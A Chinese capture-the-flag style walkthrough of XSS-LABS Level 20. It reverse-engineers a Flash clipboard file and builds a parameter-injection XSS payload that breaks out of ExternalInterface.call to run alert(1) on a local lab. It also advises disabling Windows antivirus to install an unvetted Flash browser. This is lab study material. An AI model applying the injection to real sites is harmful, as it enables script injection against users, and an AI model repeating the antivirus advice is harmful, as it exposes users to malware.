关注这个靶场的其他相关笔记:XSS - LABS —— 靶场笔记合集
0x01:环境配置
Flash 逆向工具 JPEXS 配置请看 Level 19 的过关流程,这里就不重新教怎么安装配置了。
要想完成本关,需要下载 Flash,不然就会出现下面的情况:
我个人建议,是直接下载一个 Flash 游戏浏览器(能显示 Flash 内容,但是有可能会出现过关不弹窗的现象。Flash 中心似乎可以弹窗,但太麻烦了),下载链接如下:
Flash 浏览器下载渠道
- CSDN 配套资源:FlashBrowserInstaller.exe
- 官网下载:Flash游戏浏览器-官方网页浏览工具
访问链接,点击 ”立即下载“,即可下载 Flash 游戏浏览器的安装包。
在安装 Flash 游戏浏览器之前,需要先关闭本机的杀毒软件(好家伙,病毒是吧),俺不知道有没有毒哈,没有关闭的话直接下载会被系统干掉。
首先是,搜索 ”病毒和威胁防护“:
进入软件后,选择 ”管理设置“:
关闭 ”实时保护“ 功能即可:
下面就是双击我们一开始下载下来的 Flash 游戏浏览器的安装包,进入安装流程:
按照如下方式进行配置,可以更改一个你能找的到的路径,方便后期卸载:
配置完成后,就是点击 ”立即安装“ ,然后等它安装好,就可以直接使用了。
如果你的系统比较良心,还会弹出下面的内容,点击阻止就可以了:
0x02:过关流程
如果 Level 19 无法跳转的话,可以直接手动进入 Level 20 关卡(可以直接复制链接,也可以手动弹窗):
<!-- 我本机的 Level 20 靶场链接 -->
http://127.0.0.1/xss-labs/level20.php?arg01=a&arg02=b
进入靶场,老流程,右击页面查看网页源码,可以发现一个 .swf
文件,且我们通过 GET 方式提交的两个参数都被传递给了这个 .swf
文件:
可以看到回显点又是在 "
号内,经过测试 "
号其实被过滤了,所以我们无法通过常规方法逃逸出 src
,那么只能看看 .swf
里有没有啥值得注意的部分了。
那么接下来就是对 .swf
文件的逆向了,首先下载页面上的 .swf
文件,这个比较简单,看到上图中的那个蓝色的链接吗,鼠标定位在上面,然后右击,在新窗口打开即可:
如果是使用的 Flash 浏览器,可能会自动解析该文件,此时我们复制浏览器上的链接,到 Google 浏览器或者没有安装 Flash 的浏览器,重新访问 .swf
文件,就可以下载了。比如下面,就是我在 Google 浏览器中访问 .swf
文件弹出的下载框:
<!-- 我在 Google 浏览器上访问的地址 -->
http://127.0.0.1/xss-labs/xsf04.swf?a=b
下载完成后,就是对 xsf04.swf
进行逆向了,逆向工具为 JPEXS,该工具的初始安装教程我放在了 Level 19 的过关流程中了,不会配置的小伙伴可以去看看(后续我会单独出一期,JPEXS 工具的简介)。
使用 JPEXS 打开 xsf04.swf
文件,下面开启我们的逆向之旅。
逆向,起码得找到需要逆向的代码吧,代码也比较好找,在 JPEXS 里选择脚本,就能看到一个名为 ZeroClipboard
的文件,这个就是待逆向的文件(其他的文件看着也不像代码嘞):
下面就是 ZeroClipboard
文件中的代码,以及我对其的笔记,代码不多,笔者也是借助 AI,慢慢做的注释(笔者也没搞过 Flash,硬搞吧。)
package
{
import flash.display.LoaderInfo; // 导入LoaderInfo类,用于访问加载Flash时的参数
import flash.display.Sprite; // 导入Sprite类,用于创建图形对象
import flash.display.StageScaleMode; // 导入StageScaleMode枚举,用于设置舞台的缩放模式
import flash.events.*; // 导入所有事件类
import flash.external.ExternalInterface; // 导入ExternalInterface类,用于与JavaScript等外部代码交互
import flash.system.Security; // 导入Security类,用于设置Flash的安全策略
import flash.system.System; // 导入System类,用于访问系统级功能,如设置剪贴板
import flash.utils.*; // 导入flash.utils包中的所有类,虽然这里可能并未直接使用到
/**
* ZeroClipboard类,用于在Flash中实现零剪贴板功能,即无需用户手动选择即可复制文本到剪贴板。
* 它通过JavaScript与Flash进行交互,模拟用户点击和复制操作。
*/
public class ZeroClipboard extends Sprite {
private var button: Sprite; // 定义一个Sprite对象作为按钮
private var id: String = ""; // 存储Flash实例的唯一标识符
private var clipText: String = ""; // 存储要复制到剪贴板的文本
/**
* 构造函数,初始化ZeroClipboard实例。
*/
public function ZeroClipboard() {
var flashvars: Object; // 用于存储从HTML传递过来的参数
super(); // 调用父类 Sprite 的构造函数
stage.scaleMode = StageScaleMode.EXACT_FIT; // 设置舞台的缩放模式为精确匹配
Security.allowDomain("*"); // 允许来自任何域的Flash内容交互,注意这在实际应用中可能带来安全风险
flashvars = LoaderInfo(this.root.loaderInfo).parameters; // 获取加载Flash时传递的参数
id = flashvars.id; // 从参数中获取 Flash 实例的 ID
// 初始化按钮
button = new Sprite();
button.buttonMode = true; // 设置按钮模式
button.useHandCursor = true; // 设置鼠标悬停时使用手形光标
button.graphics.beginFill(13434624); // 设置按钮的背景色
button.graphics.drawRect(0, 0, Math.floor(flashvars.width), Math.floor(flashvars.height)); // 根据参数绘制按钮大小
button.alpha = 0; // 初始时按钮透明
addChild(button); // 将按钮添加到舞台上
// 为按钮添加事件监听器
button.addEventListener(MouseEvent.CLICK, clickHandler); // 点击事件
button.addEventListener(MouseEvent.MOUSE_OVER, function (param1: Event): * {
// ExternalInterface.call(...):这是ActionScript中用于调用JavaScript函数的方法。它允许Flash/Animate内容与其宿主页面上的JavaScript代码进行交互。
// "ZeroClipboard.dispatch": 这是要调用的JavaScript函数或方法的名称。在这个例子中,它指的是ZeroClipboard对象上的dispatch方法。ZeroClipboard是一个流行的JavaScript库,用于在无法通过Flash直接访问剪贴板的情况下(如现代浏览器中)提供剪贴板功能。
// id: 这是传递给dispatch方法的第一个参数。它通常是一个标识符,用于指定哪个ZeroClipboard实例应该接收这个事件或命令。在ZeroClipboard的上下文中,这个id可能是与Flash对象相关联的DOM元素的ID,或者是ZeroClipboard在初始化时分配给该Flash对象的唯一标识符。
ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOver", null);
}); // 鼠标悬停事件
button.addEventListener(MouseEvent.MOUSE_OUT, function (param1: Event): * {
ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOut", null);
}); // 鼠标移出事件
button.addEventListener(MouseEvent.MOUSE_DOWN, function (param1: Event): * {
ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseDown", null);
}); // 鼠标按下事件
button.addEventListener(MouseEvent.MOUSE_UP, function (param1: Event): * {
ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseUp", null);
}); // 鼠标释放事件
// 注册 JavaScript 可调用的函数
ExternalInterface.addCallback("setHandCursor", setHandCursor); // 设置是否使用手形光标
ExternalInterface.addCallback("setText", setText); // 设置要复制的文本
// 通知 JavaScript,Flash 已加载完毕
ExternalInterface.call("ZeroClipboard.dispatch", id, "load", null);
}
/**
* 设置是否使用手形光标。
* @param param1 是否使用手形光标的布尔值。
* @return 无返回值。
*/
public function setHandCursor(param1: Boolean): * {
button.useHandCursor = param1;
}
/**
* 点击事件处理函数。
* 将文本复制到剪贴板,并通知JavaScript操作完成。
* @param param1 事件对象。
*/
private function clickHandler(param1: Event): void {
System.setClipboard(clipText); // 将 clipText 变量中的文本复制到系统剪贴板
ExternalInterface.call("ZeroClipboard.dispatch", id, "complete", clipText); // 调用JavaScript中的ZeroClipboard.dispatch函数,通知剪贴板操作完成,并传递元素ID、事件类型("complete")和复制的文本作为参数
}
/**
* 设置要复制到剪贴板的文本。
* @param param1 {*} - 要复制的文本,可以是任何类型,但通常应为字符串。
* @returns {*} - 此函数不直接返回任何值,但会更新内部变量clipText以存储要复制的文本。
*/
public function setText(param1: *): * {
clipText = param1; // 将传入的文本赋值给 clipText 变量,以便后续能复制到剪贴板
}
}
}
我们既然想要触发 XSS,首先得找到一个能传参的位置吧(如果 Flash 都不接受我们传入的值,还谈啥修改呢)。
通过对 ZeroClipboard.swf
文件的审计(这个文件是使用 Adobe ActionScript 编写的,笔者之前听都没听过),我们可以发现其接收的参数为:id
,width
和 height
,如下图:
从上面那段代码中我们可以知道,前端传递的参数,都放到了 flashvars
中,而在初始化 ZeroClipboard
时,用到了三个参数 id
、width
和 height
,那么我们对传入 .swf
文件的内容有了个基本的架构:
?id=xxx&width=xxx&height=xxx
这个时候,你可以直接在靶场上访问 xsf04.swf
这个文件,并按照上面的值传参看看,你会发现,当你把鼠标移动到页面上时,鼠标会变成小手,就和 ZeroClipboard
代码中写的一样(这证明了我们的推测结果是正确的):
继续逆向,我们知道了 .swf
文件接收什么参数后,是不是应该知道这些参数到哪里会被调用?
往下看,可以注意到下面的代码,为按钮添加监听事件:
这些事件都使用了 ExternalInterface.call
函数,然后传参中,都使用了 id
,而 id
我们是可控的。那么接下来,就是看看 ExternalInterface.call
函数能否触发 XSS 漏洞了。
下面是我对上面这个函数的理解:
ExternalInterface.call
函数,是 ActionScript 中一个非常重要的函数,用于在 Flash 应用程序(即 ActionScript 环境)和宿主页面(通常是 HTML 页面,其中包含了 JavaScript)之间进行通信。 <mark style="box-sizing: border-box; background: rgb(255, 255, 0); color: rgb(0, 0, 0);">该函数允许 ActionScript 代码调用宿主页面中定义的 JavaScript 函数,并将参数传递给它</mark>。
ExternalInterface.call
函数由两个主要部分组成:
第一个参数是 JavaScript 函数的名称,即你想要从 ActionScript 中调用的宿主页面上的 JavaScript 函数的名称。
后续参数都是传递给这个 JavaScript 函数的参数。
如上,简而言之,就是 ExternalInterface.call
能调用并运行 JavaScript 函数(XSS 来了)。
如果你和我一样 ActionScript 不知道是啥玩意,语法也不会的话,这里弄个通俗一点的。
在 JavaScript 中弹窗,你要这么写:
alert("1")
那么你想用 ActionScript 弹窗,你得这么写(用 ActionScript 调用 JavaScript 来弹窗):
ExternalInterface.call("alert","1");
而 FLASH 中最后实际执行的 JS 代码,形式如下(这个是从参考资料 GET 到的,但是资料没说来源):
// 这个是格式化之前的,即 FLASH 真实执行的 JS 代码格式
try { __flash__toXML(alert("1")); } catch (e) { "<undefined/>"; }
// 这个是格式化之后的,为了便于观看
try {
__flash__toXML(alert("1"));
} catch (e) {
"<undefined/>";
}
所以,我们要利用 FLASH 进行 XSS 漏洞的利用,针对的就是 FLASH 执行 JS 代码的形式。而非 ActionScript 上的代码。
这里笔者在测试的时候发现了一个好玩的,就是在 Flash 游戏浏览器中,你可以直接运行上面的代码,来做测试(这下就更加直观了):
回归 ZeroClipboard
中的代码,我们也做一波分析(id
参数可控),这里拿一个举例:
// ActionScript 代码中的内容
ExternalInterface.call("ZeroClipboard.dispatch", id, "mouseOut", null);
=>
// Flash 实际执行的 JS 代码 - 格式化之前
try { __flash__toXML(ZeroClipboard.dispatch(id, "mouseOut", null));} catch (e) {"<undefined/>";}
// Flash 实际执行的 JS 代码 - 格式化之后(仅仅为了便于观看)
try {
__flash__toXML(ZeroClipboard.dispatch(id, "mouseOut", null));
} catch (e) {
"<undefined/>";
}
OK,现在问题来了,你要怎么修改上面的代码让其弹窗?
靠 ZeroClipboard.dispatch
?这东西找了半天我也没找到在哪里,XSS LABS Level 20 里就没有引入外部 javascript 脚本。
所以,我们将目标放到 catch
部分,能让其弹窗的 JS 代码应该如下:
// FLash 实际执行的 JS 代码 - 触发 XSS 攻击 - 格式化之前
try { __flash__toXML(ZeroClipboard.dispatch(id));} catch (e) {alert(1);}//, "mouseOut", null));} catch (e) {"<undefined/>";}
// Flash 实际执行的 JS 代码 - 触发 XSS 攻击 - 格式化之后(便于观看)
try {
__flash__toXML(ZeroClipboard.dispatch(id));
} catch (e) {
alert(1);
}//, "mouseOut", null));} catch (e) {"<undefined/>";}
现在完善我们的 Payload,即我们需要给 .swf
传入以下内容才可以触发 XSS 攻击:
?id=id));} catch (e) {alert(1);}//&width=123&height=123
可是上面的内容真的能触发 XSS 吗,这里需要注意一下,如果我们直接传入上面内容,.swf
文件中的 id
实际接收到的是什么?我们传入的可是一串字符串呀,所以如果直接把上面的 Payload 传给 .swf
文件,其实际执行的 JS 代码大概率如下:
// FLash 实际执行的 JS 代码 - 推测 - 格式化之前
try { __flash__toXML(ZeroClipboard.dispatch("id));} catch (e) {alert(1);}//&width=123&height=123", "mouseOut", null));} catch (e) {"<undefined/>";}
// FLash 实际执行的 JS 代码 - 推测 - 格式化之后(便于观看)
try {
__flash__toXML(
ZeroClipboard.dispatch("id));} catch (e) {alert(1);}//&width=123&height=123", "mouseOut", null)
);
} catch (e) {
"<undefined/>";
}
所以嘞,我们还需要绕过一个 "
号,给传入的 Payload 的合适的地方添加一个 \"
即可,所以最终版的 Payload 如下(直接传给 .swf
文件的):
?id=id\"));} catch (e) {alert(1);}//&width=123&height=123
可以看到,如果我们直接给 xsf04.swf
传入 Payload,它成功弹窗了,那么下面,就是要绕过靶场的过滤了。
XSS LABS Level 20,接收两个参数,arg01
和 arg02
,接收后会直接以 key=value 的形式拼接到 xsf04.swf
后面,那么我们的 Payload 1.0 如下:
?arg01=id&arg02=id\"));} catch (e) {alert(1);}//&width=123&height=123
通过界面返回的结果可知,它并没有接收我们传入的 width
和 height
参数,很好理解 &
这个符号,在 GET 请求里就是分割参数的,那么我们要使用什么办法来让 &
也能让后端接收呢?
办法肯定是有的嘞,URL 编码呗(专门用来让你传递这些特殊的字符,而且还不影响其原本含义的),所以 Payload 2.0 如下(&
替换为 %26
):
?arg01=id&arg02=id\"));} catch (e) {alert(1);}//%26width=123%26height=123
0x03:源码分析
下面是 XSS LABS Level 20 的后端源码,以及我对其的部分笔记(说实话,没啥好看的,主要是前面逆向,有些搞头):
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
// 修改 alert 默认属性,进入下一关(还有高手?)
window.alert = function() {
confirm("完成的不错!");
window.location.href = "level21.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?' . htmlspecialchars($_GET["arg01"]) . "=" . htmlspecialchars($_GET["arg02"]) . '" width=100% heigth=100%>';
// 这关主要还是逆向 xsf04.swf 文件,这里没啥好看的
?>
</body>
</html>